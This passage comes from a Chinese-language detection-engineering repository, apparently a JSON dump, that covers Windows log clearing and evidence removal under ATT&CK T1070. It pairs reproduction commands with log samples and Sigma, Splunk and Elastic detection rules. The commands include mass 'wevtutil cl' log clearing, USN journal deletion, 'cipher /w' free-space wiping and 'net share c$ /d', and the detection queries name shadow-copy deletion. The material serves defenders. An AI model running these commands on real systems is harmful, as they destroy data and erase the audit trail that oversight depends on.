\"Microsoft-Windows-GroupPolicy/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Help/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-HomeGroup Control Panel/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-HomeGroup Listener Service/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-HomeGroup Provider Service/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-IKE/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-International/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-International-RegionalOptionsControlPanel/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Iphlpsvc/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Kernel-EventTracing/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-Kernel-Power/Thermal-Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Kernel-StoreMgr/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Kernel-WDI/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Kernel-WHEA/Errors\"\nwevtutil.exe cl \"Microsoft-Windows-Kernel-WHEA/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Known Folders API Service\"\nwevtutil.exe cl \"Microsoft-Windows-LanguagePackSetup/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-MCT/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-MemoryDiagnostics-Results/Debug\"\nwevtutil.exe cl \"Microsoft-Windows-MUI/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-MUI/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-NCSI/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-NetworkAccessProtection/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-NetworkAccessProtection/WHC\"\nwevtutil.exe cl \"Microsoft-Windows-NetworkLocationWizard/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-NetworkProfile/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-NlaSvc/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-NTLM/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-OfflineFiles/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-ParentalControls/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-PeopleNearMe/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-PowerShell/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-PrintService/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-ReadyBoost/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-ReadyBoostDriver/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Recovery/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-ReliabilityAnalysisComponent/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-RemoteApp and Desktop Connections/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-RemoteAssistance/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-RemoteAssistance/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Resource-Exhaustion-Detector/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Resource-Leak-Diagnostic/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-RestartManager/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Security-Audit-Configuration-Client/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-TerminalServices-LocalSessionManager/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-TerminalServices-LocalSessionManager/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-TerminalServices-PnPDevices/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-TerminalServices-PnPDevices/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-TerminalServices-RDPClient/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-TZUtil/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-UAC/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-UAC-FileVirtualization/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-User Profile Service/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-VDRVROOT/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-VHDMP/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-WER-Diag/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-WFP/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Windows Defender/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Windows Defender/WHC\"\nwevtutil.exe cl \"Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity\"\nwevtutil.exe cl \"Microsoft-Windows-Windows Firewall With Advanced Security/Firewall\"\nwevtutil.exe cl \"Microsoft-Windows-WindowsBackup/ActionCenter\"\nwevtutil.exe cl \"Microsoft-Windows-WindowsSystemAssessmentTool/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-WindowsUpdateClient/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Winlogon/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-WinRM/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Winsock-WS2HELP/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Wired-AutoConfig/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-WLAN-AutoConfig/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-WPD-ClassInstaller/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-WPD-CompositeClassDriver/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-WPD-MTPClassDriver/Operational\"\nwevtutil.exe cl \"ODiag\"\nwevtutil.exe cl \"OSession\"\nwevtutil.exe cl \"Security\"\nwevtutil.exe cl \"Setup\"\nwevtutil.exe cl \"System\"\nwevtutil.exe cl \"Windows PowerShell\"\n```\n\n## 检测日志\n\nWindows sysmon日志\n\n## 测试复现\n\n```yml\nC:\\Windows\\system32>wevtutil cl security\n```\n\n## 测试留痕\n\n### sysmon_log\n\n```yml\nProcess Create:\nRuleName: -\nUtcTime: 2020-11-29 13:15:07.077\nProcessGuid: {bb1f7c32-9edb-5fc3-8100-000000001900}\nProcessId: 1908\nImage: C:\\Windows\\System32\\wevtutil.exe\nFileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)\nDescription: Eventing Command Line Utility\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: wevtutil.exe\nCommandLine: wevtutil  cl security\nCurrentDirectory: C:\\Windows\\system32\\\nUser: 12306Br0-PC\\12306Br0\nLogonGuid: {bb1f7c32-7b3c-5fc3-f960-060000000000}\nLogonId: 0x660f9\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=BDCF4B78B6D6F45EDC9D226CE05B7ADC3B366248\nParentProcessGuid: {bb1f7c32-7b69-5fc3-5000-000000001900}\nParentProcessId: 3328\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: \"C:\\Windows\\System32\\cmd.exe\" \n```\n\n### windows_security_log\n\n```yml\n已创建新进程。\n\n使用者:\n 安全 ID:  12306Br0-PC\\12306Br0\n 帐户名称:  12306Br0\n 帐户域:  12306Br0-PC\n 登录 ID:  0x660f9\n\n进程信息:\n 新进程 ID:  0x774\n 新进程名称: C:\\Windows\\System32\\wevtutil.exe\n 令牌提升类型: TokenElevationTypeFull (2)\n 创建者进程 ID: 0xd00\n 进程命令行:   #未开启记录命令行参数审核，所以此处为空\n```\n\n## 检测规则/思路\n\n### sigma\n\n```yml\ntitle: windows 日志清除\ndescription: win7模拟测试结果\nstatus: experimental\nauthor: 12306Bro\nlogsource:\n​    product: windows\n​    service: security\ndetection:\n​    selection1:\n​        EventID:\n​                - 1 #sysmon\n​                - 4688 #Windows 安全日志\n        Process.name: 'wevtutil.exe' #Application Name\n        Commanline: 'cl'\n    selection2:\n        Process.name: 'powershell.exe' #Application Name\n        Commanline: 'Clear-EventLog'\n​condition: selection1 OR selection2\nlevel: medium\n```\n\n### 建议\n\n如果你想基于windows日志进行检测，那么你需要留意在产生了1102（日志清除）后，wevtutil进程（4688/4689）的调用情况。至少，它在我的测试环境中是这么展示的。\n\n## 参考推荐\n\nMITRE-ATT&CK-T1070-001\n\n<https://attack.mitre.org/techniques/T1070/001/>\n\npowershell:Clear-EventLog\n\n<https://blog.csdn.net/weixin_30800807/article/details/97087311>\n"
  },
  {
    "path": "Windows/07逃避防御/T1070-001-win-清除事件日志.md",
    "content": "# T1070-001-Win-清除事件日志\n\n## 来自ATT&CK的描述\n\n攻击者可能试图阻止由监测软件或进程捕获到的告警，以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置，以达到逃避追踪的目的。\n\n在基于特征监测的情况下，攻击者可以阻止监测特征相关的数据被发送出去，以便于阻止安全人员进行分析。这可以有很多方式实现，例如停止负责转发的进程（splunk转发器、Filebate、rsyslog等）。\n\n具体案例，你可以参考绕过sysmon相关的文章。（PS：英语不好、谷歌翻译真心，，，太难了）。\n\n## 测试案例\n\n在正常的操作期间内，事件日志不太可能会被刻意清除。但是恶意攻击者可能会通过清除事件日志来尝试掩盖自己的踪迹。当事件日志被清除时，它是可疑的。发现“清除事件日志”时可能意味着有恶意攻击者利用了此项技术。\n\n集中收集事件日志的一个好处就是使攻击者更难以掩盖他们的踪迹，事件转发允许将收集到的系统事件日志发送给多个收集器（splunk、elk等），从而实现冗余事件收集。使用冗余事件收集，可以最大限度的帮助我们发现威胁。\n\n## 检测日志\n\nwindows security\n\nwindows system\n\n## 测试复现\n\n进入windows事件查看器\n\nwindows日志>系统日志>清除日志\n\nwindows日志>安全日志>清除日志\n\n## 测试留痕\n\n暂无\n\n## 检测规则/思路\n\n### sigma\n\n```yml\ntitle: windows 日志清除\ndescription: win7 and windows server 2003模拟测试结果\nstatus: experimental\nauthor: 12306Bro\nlogsource:\n​    product: windows\n​    service: security\ndetection:\n​    selection:\n​        EventID:\n​                - 1102\n​                - 517\n​    condition: selection\nlevel: medium\n```\n\n```yml\ntitle: windows 日志清除\ndescription: win7 模拟测试结果\nstatus: experimental\nauthor: 12306Bro\nlogsource:\n​    product: windows\n​    service: system\ndetection:\n​    selection:\n​        EventID: 104\n​    condition: selection\nlevel: medium\n```\n\n### 建议\n\n暂无\n\n## 参考推荐\n\nMITRE-ATT&CK-T1070-001\n\n<https://attack.mitre.org/techniques/T1070/001/>\n"
  },
  {
    "path": "Windows/07逃避防御/T1070-004-win-使用Fsutil删除卷USN日志.md",
    "content": "# T1070-004-Win-使用Fsutil删除卷USN日志\n\n## 来自ATT&CK的描述\n\n攻击者可能会删除其入侵活动所留下的文件。攻击者在系统上丢弃创建的恶意软件、工具或其他可能会留下痕迹的非本机文件。这些文件的删除可以在入侵过程中进行，也可以作为入侵后的过程中进行，以最大程度地减少攻击者留下的足迹。\n\n主机操作系统中提供了一些工具来执行清除，但攻击者也可以使用其他工具。其中包括本机cmd函数（例如DEL），安全删除工具（例如Windows Sysinternals SDelete）或其他第三方文件删除工具。\n\n## 测试案例\n\n识别使用fsutil.exe删除USN JRNL卷。攻击者使用此技术来消除利用漏洞后创建的文件的活动证据。\n\n更多姿势可参考：[渗透技巧——Windows下NTFS文件的USN Journal](http://app.myzaker.com/news/article.php?pk=5c6e106577ac642d40290442)\n\n## 检测日志\n\nWindows 安全日志/sysmon日志\n\n## 测试复现\n\n```yml\n关闭NTFS日志功能：\n\n在cmd中运行 fsutil:\n\nfsutil usn createjournal m=1000 a=100 c:  //创建日志\n\nfsutil usn deletejournal /d c:  //删除日志\n```\n\n## 测试留痕\n\n暂无，仅提供4688进程创建事件样例。\n\nwindows server 2016/win10\n\n```yml\nA new process has been created.\n\nSubject:\n\n   Security ID:  WIN-R9H529RIO4Y\\Administrator\n   Account Name:  Administrator\n   Account Domain:  WIN-R9H529RIO4Y\n   Logon ID:  0x1fd23\n\nProcess Information:\n\n   New Process ID:  0xed0\n   New Process Name: C:\\Windows\\System32\\notepad.exe\n   Token Elevation Type: TokenElevationTypeDefault (1)\n   Mandatory Label: Mandatory Label\\Medium Mandatory Level\n   Creator Process ID: 0x8c0\n   Creator Process Name: c:\\windows\\system32\\explorer.exe\n   Process Command Line: C:\\Windows\\System32\\notepad.exe c:\\sys\\junk.txt\n```\n\n## 检测规则/思路\n\n### Sigma\n\n```yml\ntitle: 使用Fsutil删除卷USN日志\ndescription: 识别使用fsutil.exe删除USN JRNL卷。攻击者使用此技术来消除利用漏洞后创建的文件的活动证据。\nstatus: experimental\nreferences:\n    - https://www.elastic.co/guide/en/siem/guide/current/delete-volume-usn-journal-with-fsutil.html#delete-volume-usn-journal-with-fsutil\nlogsource:\n​    product: windows\n​    service: security\ndetection:\n​    selection:\n​       EventID:\n​            - 1 #sysmon\n​            - 4688 #Windows 安全日志\n        New Process Name: 'fsutil.exe' #Application Name\n        Commanline: 'usn deletejournal'\n​    condition: selection\nlevel: low\n```\n\n### Elastic rule query\n\n```yml\nevent.action:\"Process Create (rule: ProcessCreate)\" and\nprocess.name:fsutil.exe and process.args:(deletejournal and usn)\n```\n\n### 建议\n\n如果你对windows有足够多的了解，那么相信你也知道应该如何去用Windows日志进行分析此类攻击行为，比如依靠4688中的进程和命令行参数进行检测分析。\n\n## 参考推荐\n\nMITRE-ATT&CK-T1070-004\n\n<https://attack.mitre.org/techniques/T1070/004/>\n\n渗透技巧——Windows下NTFS文件的USN Journal\n\n<http://app.myzaker.com/news/article.php?pk=5c6e106577ac642d40290442>\n\n使用Fsutil删除卷USN日志 Elastic rule query\n\n<https://www.elastic.co/guide/en/siem/guide/current/delete-volume-usn-journal-with-fsutil.html#delete-volume-usn-journal-with-fsutil>\n\n4688事件样例\n\n<https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4688>\n"
  },
  {
    "path": "Windows/07逃避防御/T1070-004-win-文件删除.md",
    "content": "# T1070-004-Win-文件删除\n\n## 来自ATT&CK的描述\n\n攻击者可能会删除其入侵活动所留下的文件。攻击者在系统上丢弃创建的恶意软件、工具或其他可能会留下痕迹的非本机文件。这些文件的删除可以在入侵过程中进行，也可以作为入侵后的过程中进行，以最大程度地减少攻击者留下的足迹。\n\n主机操作系统中提供了一些工具来执行清除，但攻击者也可以使用其他工具。其中包括本机cmd函数（例如DEL），安全删除工具（例如Windows Sysinternals SDelete）或其他第三方文件删除工具。\n\n## 测试案例\n\n![sdelete](https://img2020.cnblogs.com/blog/1424605/202007/1424605-20200714094141181-832893720.png)\n\n## 检测日志\n\nWindows 安全日志/sysmon日志\n\n## 测试复现\n\n命令行工具，你需要在cmd或powershell中调用它。\n\n```yml\n用法:  \n      sdelete [-p passes] [-r] [-s] [-q] <file or directory> [...]\n      sdelete [-p passes] [-z|-c [percent free]] <drive letter [...]>\n      sdelete [-p passes] [-z|-c] <physical disk number>\n      -c 清理可用空间。 指定选项空间量  留给正在运行的系统免费使用。  \n      -p 指定覆盖次数（默认为1）  \n      -r 删除只读属性  \n      -s 递归子目录  \n      -z 零可用空间（适用于虚拟磁盘优化）  \n      -nobanner 不显示启动标语和版权信息。磁盘必须没有任何卷才能被清理。\n```\n\n## 测试留痕\n\n暂无\n\n## 检测规则/思路\n\n在业务环境中找到与良性命令行功能（例如DEL或第三方实用程序或工具）相关的事件的情况很少见，具体取决于用户群和系统的典型使用方式。监视命令行删除功能以及相关使二进制文件，或攻击者可能会使用的删除文件进行关联，可能会帮助安全人员检测到恶意活动。另一个好的做法是监视攻击者可能会引入的企业网络中系统上尚未存在的已知删除和安全删除工具。某些监视工具可能会收集命令行参数，但可能无法捕获DEL命令，因为DEL是cmd.exe中的本机函数。\n\n### splunk规则\n\n```yml\nindex=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image IN (“*\\\\sdelete.exe” , “*\\\\vssadmin.exe” , “*\\\\wmic.exe” , “*\\\\bcdedit.exe” , “*\\\\wbadmin.exe”)) \n\nindex=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\\\vssadmin.exe” CommandLine=”*Delete Shadows*”)\n\nindex=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\\\wmic.exe” CommandLine=”*shadowcopy delete*”)\n\nindex=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\\\bcdedit.exe” CommandLine IN (“*bootstatuspolicy ignoreallfailures*” , “*recoveryenabled no*”))\n\nindex=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\\\wbadmin.exe” (CommandLine=”*Delete*”,CommandLine=”*catalog*”))\n```\n\n### 建议\n\n如果你对windows有足够多的了解，那么相信你也知道应该如何去用Windows日志进行分析此类攻击行为，比如依靠4688中的进程和命令行参数进行检测分析。\n\n## 参考推荐\n\nMITRE-ATT&CK-T1070-004\n\n<https://attack.mitre.org/techniques/T1070/004/>\n\nwindows使用sdelete安全的删除文件\n\n<https://www.cnblogs.com/douzilink/p/13297433.html>\n"
  },
  {
    "path": "Windows/07逃避防御/T1070-004-win-通过Rmdir删除Windows文件.md",
    "content": "T1070-004-Win-通过Rmdir删除Windows文件\n\n## 来自ATT&CK的描述\n\n攻击者可能会删除其入侵活动所留下的文件。攻击者在系统上丢弃创建的恶意软件、工具或其他可能会留下痕迹的非本机文件。这些文件的删除可以在入侵过程中进行，也可以作为入侵后的过程中进行，以最大程度地减少攻击者留下的足迹。\n\n主机操作系统中提供了一些工具来执行清除，但攻击者也可以使用其他工具。其中包括本机cmd函数（例如DEL），安全删除工具（例如Windows Sysinternals SDelete）或其他第三方文件删除工具。\n\n## 测试案例\n\nrmdir命令是windows系统自带的一个命令，用于删除文件和目录。\n\n```bash\nC:\\Users\\jackma>help rmdir\n删除一个目录。\n\nRMDIR [/S] [/Q] [drive:]path\nRD [/S] [/Q] [drive:]path\n    /S      除目录本身外，还将删除指定目录下的所有子目录和\n            文件。用于删除目录树。\n    /Q      安静模式，带 /S 删除目录树时不要求确认\n```\n\n## 检测日志\n\nWindows sysmon\n\n## 测试复现\n\n```bash\nC:\\Users\\jackma>rmdir /S /Q C:\\Users\\jackma\\Desktop\\test\n```\n\n## 测试留痕\n\n无，在实际的测试过程中，cmd命令行下并没有观测到Windows安全日志有所记录相关进程行为，因此未获取到留痕日志，建议使用Sysmon日志进行检测，或者其他具备可识别记录进程命令行参数的端点安全软件日志进行检测。\n\n## 检测规则/思路\n\n### Splunk\n\n```sql\n| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*rmdir*\" Processes.process = \"* /s *\" Processes.process = \"* /q *\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user \n| `drop_dm_object_name(Processes)` \n| `security_content_ctime(firstTime)` \n| `security_content_ctime(lastTime)` \n| `windows_indicator_removal_via_rmdir_filter`\n```\n\n### 建议\n\n暂无\n\n## 参考推荐\n\nMITRE-ATT&CK-T1070-004\n\n<https://attack.mitre.org/techniques/T1070/004/>\n\nrmdir\n\n<https://learn.microsoft.com/zh-tw/windows-server/administration/windows-commands/rmdir>\n\nWindows Indicator Removal Via Rmdir\n\n<https://research.splunk.com/endpoint/c4566d2c-b094-48a1-9c59-d66e22065560/>\n"
  },
  {
    "path": "Windows/07逃避防御/T1070-005-win-删除网络共享连接.md",
    "content": "# T1070-005-Win-删除网络共享连接\n\n## 来自ATT&CK的描述\n\n攻击者可能会删除不再使用的共享连接，以清除其运行痕迹。不再需要Windows共享驱动器和SMB Windows Admin Shares连接时，可以将其删除。Net是一个实用程序，可用于通过net use \\system\\share /delete命令删除网络共享连接。\n\n## 测试案例\n\nnet share删除网络共享\n\n```yml\nnet share c$ /d\n```\n\n## 检测日志\n\nWindows 安全日志/sysmon日志\n\n## 测试复现\n\n```yml\n测试环境：windows server 2016\n\nC:\\Users\\Administrator>net share c$ /d\nc$ 已经删除。\n```\n\n## 测试留痕\n\n### windows_security_log\n\n```yml\nEVENT_ID_1_4688\n\n已创建新进程。\n\n创建者主题:\n 安全 ID:  QAX\\Administrator\n 帐户名:  Administrator\n 帐户域:  QAX\n 登录 ID:  0x7169C\n\n目标主题:\n 安全 ID:  NULL SID\n 帐户名:  -\n 帐户域:  -\n 登录 ID:  0x0\n\n进程信息:\n 新进程 ID:  0x1260\n 新进程名称: C:\\Windows\\System32\\net.exe\n 令牌提升类型: %%1936\n 强制性标签:  Mandatory Label\\High Mandatory Level\n 创建者进程 ID: 0x378\n 创建者进程名称: C:\\Windows\\System32\\cmd.exe\n 进程命令行: net  share c$ /d\n\nEVENT_ID_2_4688\n已创建新进程。\n\n创建者主题:\n 安全 ID:  QAX\\Administrator\n 帐户名:  Administrator\n 帐户域:  QAX\n 登录 ID:  0x7169C\n\n目标主题:\n 安全 ID:  NULL SID\n 帐户名:  -\n 帐户域:  -\n 登录 ID:  0x0\n\n进程信息:\n 新进程 ID:  0x1078\n 新进程名称: C:\\Windows\\System32\\net1.exe\n 令牌提升类型: %%1936\n 强制性标签:  Mandatory Label\\High Mandatory Level\n 创建者进程 ID: 0x1260\n 创建者进程名称: C:\\Windows\\System32\\net.exe\n    进程命令行: C:\\Windows\\system32\\net1  share c$ /d\n    \nEVENT_ID_3_5144\n\n\n删除了一个网络共享对象。\n \n使用者:\n 安全 ID:  QAX\\Administrator\n 帐户名:   Administrator\n 帐户域:  QAX\n 登录 ID:  0x7169C\n\n共享信息: \n  共享名称:  \\\\*\\c$\n 共享路径:  C:\\\n```\n\n## 检测规则/思路\n\n### sigma\n\n```yml\ntitle: windows下使用net share命令删除网络共享\ndescription: Windows下使用net share删除网络共享，可以通过Windows安全日志进行信息进行发现\nstatus: experimental\nauthor: 12306Bro\nlogsource:\n​    product: windows\n​    service: security\ndetection:\n​    selection1:\n​       EventID: 4688 #Windows 安全日志\n        Process_name: 'net.exe' #Application Name\n        Commanline: '/d'\n     selection2:\n        EventID: 5144 #Windows安全日志\n​    condition: selection1 or selection2\nlevel: medium\n```\n\n## 建议\n\n网络共享连接可能取决于网络环境的使用方式。监视net use与通过SMB建立和删除远程共享相关的命令的命令行调用，包括遵循检测Windows Admin Shares的最佳实践。系统之间的SMB流量也可能会被捕获和解码，以寻找相关的网络共享会话和文件传输活动。Windows身份验证日志在确定何时建立经过身份验证的网络共享以及通过哪个帐户建立帐户时也很有用，并且可用于将网络共享活动与其他事件相关联用以调查潜在的恶意活动。\n\n## 参考推荐\n\nMITRE-ATT&CK-T1070-005\n\n<https://attack.mitre.org/techniques/T1070/005/>\n"
  },
  {
    "path": "Windows/07逃避防御/T1070.001-Win-检测cipher.exe删除数据.md",
    "content": "# T1070.001-Win-检测Cipher.exe删除数据\n\n## 描述\n\n攻击者可能通过清除事件日志或删除数据来阻止监测软件捕获告警，或妨碍事件日志的收集和分析，以掩盖其活动痕迹（MITRE ATT&CK T1070.001）。这种行为可能包括修改监测软件的配置文件或注册表项、停止事件转发进程（如Splunk转发器、Filebeat、rsyslog），或使用工具清除磁盘数据以消除证据。\n\n在Windows系统中，`cipher.exe`是一个内置工具，可用于安全擦除磁盘上的空闲空间，覆盖已删除文件的数据，防止恢复。这种行为在勒索软件攻击中常见，攻击者可能利用`cipher.exe`清除敏感数据或日志文件，以规避取证分析。\n\n集中化的事件日志收集（如通过Splunk、ELK）可以增加攻击者隐藏痕迹的难度，因为冗余收集机制能保留日志副本。检测`cipher.exe`的异常使用是发现潜在恶意活动的关键。\n\n## 测试案例\n\n### 测试1：使用cipher.exe擦除磁盘空闲空间\n\nWindows 2000及以上版本内置`cipher.exe`，可通过`/w`参数覆盖指定磁盘或目录的空闲空间，消除已删除文件的痕迹。\n\n**攻击命令**（在命令提示符中运行）：\n```cmd\ncipher /w:<drive>[:\\directory]\n```\n\n**示例**：\n- 擦除C盘空闲空间：`cipher /w:C`\n- 擦除特定目录：`cipher /w:C:\\Users\\12306br0\\Desktop\\test`\n\n**说明**：\n- 命令会依次使用`0x00`、`0xFF`和随机数据覆盖空闲空间，确保数据不可恢复。\n- 目录参数可选，通常指定盘符即可。\n\n## 检测日志\n\n- **Windows安全日志**：通过Event ID 4688（进程创建）记录`cipher.exe`的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：通过Event ID 1（进程创建）捕获详细的命令行参数和父进程信息。\n\n## 测试复现\n\n### 测试1：使用cipher.exe擦除数据\n\n**测试环境**：Windows Server 2016\n\n**攻击命令**：\n```cmd\nC:\\Users\\12306br0>cipher /w:C:\\Users\\12306br0\\Desktop\\test\n```\n\n**结果**：\n- 命令执行后，`C:\\Users\\12306br0\\Desktop\\test`目录的空闲空间被覆盖，删除文件的残留数据被清除。\n- 未报告具体输出，但`cipher.exe`会显示覆盖进度（视数据量而定）。\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: SYSTEM\n计算机: 361A\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: 361A\\12306br0\n  帐户名: 12306br0\n  帐户域: 361A\n  登录 ID: 0x507DC\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x11e0\n  新进程名称: C:\\Windows\\System32\\cipher.exe\n  令牌提升类型: %%1938 (TokenElevationTypeLimited)\n  强制性标签: Mandatory Label\\Medium Mandatory Level\n  创建者进程 ID: 0x10f0\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: cipher /w:C:\\Users\\12306br0\\Desktop\\test\n```\n\n**分析**：\n- 日志记录了`cipher.exe`的执行，命令行包含`/w`参数，表明擦除操作。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n- 需启用命令行审核以记录`进程命令行`字段。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测cipher.exe删除数据\ndescription: Detects execution of cipher.exe with /w parameter, indicating potential data wiping behavior, as seen in ransomware attacks.\nstatus: experimental\nauthor: 12306Br0\ndate: 2020/06/09\nreferences:\n  - https://attack.mitre.org/techniques/T1070/001/\n  - https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/\ntags:\n  - attack.defense_evasion\n  - attack.t1070.001\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\cipher.exe'\n    CommandLine|contains: '/w'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - Legitimate administrative use of cipher.exe for secure data deletion\nlevel: medium\n```\n\n**规则说明**：\n- 检测`cipher.exe`执行时命令行包含`/w`参数的行为，表明擦除空闲空间。\n- 规则覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法管理员操作的误报。\n\n### 建议\n\n1. **监控cipher.exe执行**：\n   - 使用Sysmon（Event ID 1）捕获`cipher.exe`的进程创建事件，检查命令行是否包含`/w`。\n   - 关注非管理员用户或非预期环境（如普通工作站）运行`cipher.exe`的行为。\n\n2. **检测异常路径**：\n   - 监控`cipher.exe`擦除用户目录（如`%APPDATA%`、`%TEMP%`）或敏感路径（如日志存储目录）的行为。\n   - 检查父进程（如`cmd.exe`、`powershell.exe`）是否异常。\n\n3. **启用详细日志**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数（需高版本Windows支持）。\n   - 部署Sysmon，记录进程创建（Event ID 1）和文件操作（Event ID 11）。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`cipher.exe`异常执行。\n   - 设置告警规则，针对非预期用户或系统运行`cipher /w`的行为。\n\n5. **限制cipher.exe使用**：\n   - 使用AppLocker或组策略限制`cipher.exe`的执行，仅允许在特定管理场景下运行。\n   - 监控未经授权的`cipher.exe`调用。\n\n6. **关联行为分析**：\n   - 将`cipher.exe`执行与其他可疑行为（如勒索软件加密、网络连接）关联，识别攻击链。\n   - 例如，检测擦除操作后是否出现异常的文件加密或C2通信。\n\n7. **测试与验证**：\n   - 在测试环境中模拟`cipher.exe`擦除数据，验证检测规则有效性。\n   - 调整规则阈值，排除合法管理员操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1070.001  \n  <https://attack.mitre.org/techniques/T1070/001/>\n- Microsoft 365 Defender威胁情报团队：勒索软件分析  \n  <https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>\n- Atomic Red Team T1070.001  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.001/T1070.001.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1127-Win-使用Msbuild.exe执行payload(白名单).md",
